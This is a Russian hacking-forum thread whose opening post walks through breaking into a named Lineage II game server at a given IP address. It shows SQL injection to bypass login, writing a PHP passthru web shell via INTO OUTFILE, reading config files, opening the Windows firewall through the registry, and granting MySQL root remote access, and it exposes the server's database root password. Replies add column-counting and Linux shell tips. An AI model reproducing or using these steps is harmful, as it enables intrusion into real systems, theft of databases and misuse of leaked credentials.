Рассказывать про sql-инъекцию (иньку) я не буду, статей на эту тему множество. Перейдем сразу к практике. А практика будет на ява-сервере ht_tp://www.l2appeal.com
В данном случае инька есть в acm модулях. Зарегистрируем акк MyLogin с паролем MyPas. На странице логина ht_tp://85.14.219.28/acm/?act=account попробуем залогиниться с такими праметрами:
в поле логина вводим mylogin'#
в поле пароля введем любой пасс, например sdfhsd
Пытаемся зайти - зашли, инька есть.
[Ссылки могут видеть только зарегистрированные пользователи. ]
На самом деле инъекция может быть где угодно, но остановимся пока на данном примере. Жмем на сайте Logout, и в адресной строке удаляем символ # (решетки), т.е.
ht_tp://www.gaming-portal.net/acm/?act=account&id=mylogin'#&do=quit
меняем на
ht_tp://www.gaming-portal.net/acm/?act=account&id=mylogin'&do=quit
Жмем в адресной строке отправить - logout прошел.
Теперь надо выяснить, сколько столбцов запрашивается в скрипте логина (что бы сделать нормальный union). Идем на страницу логина, в поле логина пишем так:
dsafasd'union select 1,2,3#
пароль пишем любой, жмем логин - не пустило, Access filed. Пытаемся с таким логином:
dsafasd'union select 1,2,3,4#Опять не пустило. Продолжаем перебор, пока логин не пройдет. C логином
dsafasd'union select 1,2,3,4,5,6# получилось войти.
[Ссылки могут видеть только зарегистрированные пользователи. ]
Отлично, еще и ошибки повылазили Смотрим на ошибки и сохраняем локальный адрес папки acm (ведь на нее есть доступ) - d:/wamp/www/acm/
Движемся дальше. Делаем логаут и снова идем на страницу логина. В поле логина пишем так:
sdfasd'union select null,null,null,null,null,'<?php passthru($_GET["cmd"]); ?>' into outfile 'd:/wamp/www/acm/class.php'#
Расмотрим подробнее. null,null,null,null,null - нужны для того, что бы UNION SELECT прошел нормально, ведь кол-во запрошеных столбцов во втором SELECT должно соответствовать кол-ву столбцов в первом. Для этого мы и перебирали кол-во столбцов ранее.
'<?php passthru($_GET["cmd"]); ?>' - собственно строка, которую возвратит наш запрос union select. Кто знаком с php - тому не надо обьяснять, что это за строка. Кто не знаком - в двух словах команда passthru в пхп выполняет команду, переданную в параметре cmd, на локальном компьютере с правами текущего пользователя.
into outfile - указывает на то, что результат запроса нужно записать в файл, 'd:/wamp/www/acm/class.php' - полный путь до файла с именем файла (обратите внимание, слеши должны быть обратные). Файла class.php по этому пути не существует, поэтому будет создан новый файл class.php и в него будет запсан результат выполнения нашего запроса, то есть простая строчка <?php passthru($_GET["cmd"]); ?>
Едем дальше. Логин не прошел, но если в настройках мускуля (MySQL) у текущего пользователя (текущий пользователь - это логин и пасс, под которым скрипт логина коннектится к мускулю ) есть права на into outfile, то файл будет создан. Обычно, скрипты используют одну учетную запсь, со полными правами.
Пробуем в адресной строке запустить наш шелл. Вбиваем в адресную строку
ht_tp://www.gaming-portal.net/acm/class.php
Если файл создан нормально, и скрипт работает, вы получите что-то вроде этого:
[Ссылки могут видеть только зарегистрированные пользователи. ]
Все, шелл залит. В принципе, можно еще сделать пхп-скрипт с оператором unclude и через него подгрузить внешний нормальный шелл. Но не всегда сервер позволяет использовать внешний инклюд, а локальный нам не к чему.
Теперь у нас есть доступ к командной стркое сервера, можно удалить на**** все базы и форматнуть винты... Но мы же с вами не варвары? Попробуем получить доступ к базе l2jdb.
Команды для выполнения на сервере передаются скрипту через ?cmd=команда. Вбьем в строке такую команду:
ht_tp://www.gaming-portal.net/acm/class.php?cmd=dir d:\
и получим такой результат:
[Ссылки могут видеть только зарегистрированные пользователи. ]
Здесь скрипт выполнил команду dir d:\
Дальше я не буду писать полный путь до скрипта, будут лишь команды cmd=бла-бла-бла. Ну вы поняли, что их нужно дописывать к скрипту так: class.php?cmd=бла-бла-бла
Так, после выполнения команды dir d:\ мы видим папку L2Appeal. Это скорей всего сервак линейки. Нужно прочитать его конфиги. Идем по адресу cmd=dir d:\L2AppeaL\login\config и находим файл loginserver.properties
[Ссылки могут видеть только зарегистрированные пользователи. ]
Прочитаем его. Для этого воспользуемся командой type с полным путем до файла. Пишем в адресной строке такую команду
cmd=type d:\L2AppeaL\login\config\loginserver.properties
и видим следующее
[Ссылки могут видеть только зарегистрированные пользователи. ]
Отлично, логин и пасс к мускулю есть. Запишем их. Теперь проверим конект к базе. Запускаем командную строку (пуск->выполнить->cmd). В командной строке вбиваем telnet 85.14.219.28 3306
[Ссылки могут видеть только зарегистрированные пользователи. ]
Результат говорит о том, что на сервере стоит фаерволл и не пропускает коннект на порт 3306 (порт мускуля по умолчанию). Будем надеятся, это - простой брэндмауэр винды. Обойдем его так: в адресную строку вбиваем такую команду
cmd=reg add HKLM\System\ControlSet001\Services\SharedAccess \Parameters\FirewallPolicy\StandardProfile \GloballyOpenPorts\List /v 3306:TCP /t REG_SZ /d 3306:TCP:*:Enabled:MySQL /f
Эта команда внесет в реестре порт 3306 в список исключения брэндмауэра и порт будет открыт. Проверяем через телнет, как описывал выше.
[Ссылки могут видеть только зарегистрированные пользователи. ]
Отлично, фаерволл был один - бренмауер и он сейчас пропускает коннект. Но "Host 'xx xx xx xx' is not allowed to connect to this MySQL server" говорит о том, что с вашего ИПа доступ к мускулю запрещен. Щас поправим Снова берем в руки любимый dir и ищем папку MySQL. Обычно она в каких-то Program Files, но не всегда. Адрес для команды dir лучше заключать в ковычки, например так: cmd=dir "d:\Program Files" Итак, нашли папку мускулю по адресу d:\Program Files\MySQL\MySQL Server 6.0\bin\
[Ссылки могут видеть только зарегистрированные пользователи. ]
Проверим таблицу User. Пишем такую команду:
cmd="d:\Program Files\MySQL\MySQL Server 6.0\bin\mysql.exe" -uroot -pkrolar mysql -e "select * from user"
[Ссылки могут видеть только зарегистрированные пользователи. ]
В этой команде запускается mysql.exe, логин указан после команды -u (заметьте - писать слитно -uroot), затем идем пароль. Дальше - mysql, это имя базы с которой будем работать. Дальше команда -e, она говорит о том, что надо выполнить один запрос и закрыть соединение. В данном случае запрос select * from user. Таблица user в базе данных mysql содержит информацию о пользователях, которым разрешен доступ к мускулю. В данном случае мы видим, что пользователю ROOT разрешен коннект только с локального хоста. С внешних ИПов к базе доступа нет. Пишем такую команду
cmd="d:\Program Files\MySQL\MySQL Server 6.0\bin\mysql.exe" -uroot -pkrolar mysql -e "update user set host='%' where user='root'"
Результат возвращен не будет, но запрос выполнится. А точнее, update user set host='%' where user='root' в поле HOST вместо LOCALHOST запишет символ %, что подразумевает коннект со всех ИПов.
Что бы убедиться, можно еще раз запустить запрс select * from user и проверить, выполнился ли запрос.
Итак, доступ открыт со всех ипов под логином root и паролем krolar. Но что бы изменения вступили в силу, без перезапуска MySQL сервера, нужно сделать reload. Пишем такую команду
cmd="d:\Program Files\MySQL\MySQL Server 6.0\bin\mysqladmin.exe" -uroot -pkrolar reload
Дело сделано. Запускаем Navicat (в нете найдете), жмем Connections. В поле Host name/ IP address вводим ИП нашего сервера - 85.14.219.28, логин - root, пароль krolar. Жмем Test Connection.
[Ссылки могут видеть только зарегистрированные пользователи. ]
ппц, надо же такое решето найти)
Хочу добавить что вместо перебора гораздо удобнее использовать ORDER BY - ORDER BY 1 канает, ORDER BY 999 не канает, ORDER BY 10 канает, ORDER BY 20 не канает, следовательно количество столбцов от 10 до 20 (просто пример), и таким образом находим. Для ленивых есть и спец софт для этого)
Жмем в адресной строке отправить - logout прошел.
Теперь надо выяснить, сколько столбцов запрашивается в скрипте логина (что бы сделать нормальный union). Идем на страницу логина, в поле логина пишем так:
dsafasd'union select 1,2,3#
пароль пишем любой, жмем логин - не пустило, Access filed. Пытаемся с таким логином:
dsafasd'union select 1,2,3,4#Опять не пустило. Продолжаем перебор, пока логин не пройдет. C логином
dsafasd'union select 1,2,3,4,5,6# получилось войти.
повыделяй облась выше этого поля. Обычно ошибка написана цветом фона
В подполье не надо... SQL inject вечен=)) Все инъекции фиксануть нельзя...
________________
Чё уставился, СПАСИБО жми =)) Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
Эта иньекция работает на Chaotic Lineage Account Manager . . .
РЕбята, целью статьи было не показать, какие иньекции бывают. Иньекцие могут быть в ЛЮБОМ скрипте, который обращается к базе данных. ЦЕлью стать было напискать один из возможных(!!!) путей развития после того, как нашли иньекцию. А как и где искать иньку - статей в инете море.
Немного не в тему но: Можно как-нить через cmd изменить содержимое php файла? А то uploader заливаеться но заливать файлы отказывается о_О.
Добавлено через 11 часов 54 минуты
Эмм столкнулся с такой бякой: Линукс. Вообще в нем на шарю, там наверное cmd другой так как не работает. Есть ли какой-то выход на этот счет? Что можно залить полезного на линукс?
Последний раз редактировалось wagan; 13.02.2010 в 03:52.
Причина: Добавлено сообщение
Немного не в тему но: Можно как-нить через cmd изменить содержимое php файла? А то uploader заливаеться но заливать файлы отказывается о_О.
можно через echo "текст файла" >> file.php
можно в sql-е, когда уже получил доступ, сделать запрос select 'строка', 'строка', 'строка'..... into outfile 'c:/1.php'
Больше вариантов создания файлов через cmd, вроде, нет.
Цитата:
Сообщение от wagan
Эмм столкнулся с такой бякой: Линукс. Вообще в нем на шарю, там наверное cmd другой так как не работает. Есть ли какой-то выход на этот счет? Что можно залить полезного на линукс?
passthru точно так же работает и в никсах, только шелл команды там другие. Для начала сделай команду whoami, узнать права текущего пользователя. Просмотр каталогов ls -la
А вообще, рекомендую поставить себе никсы и разбираться в его командах.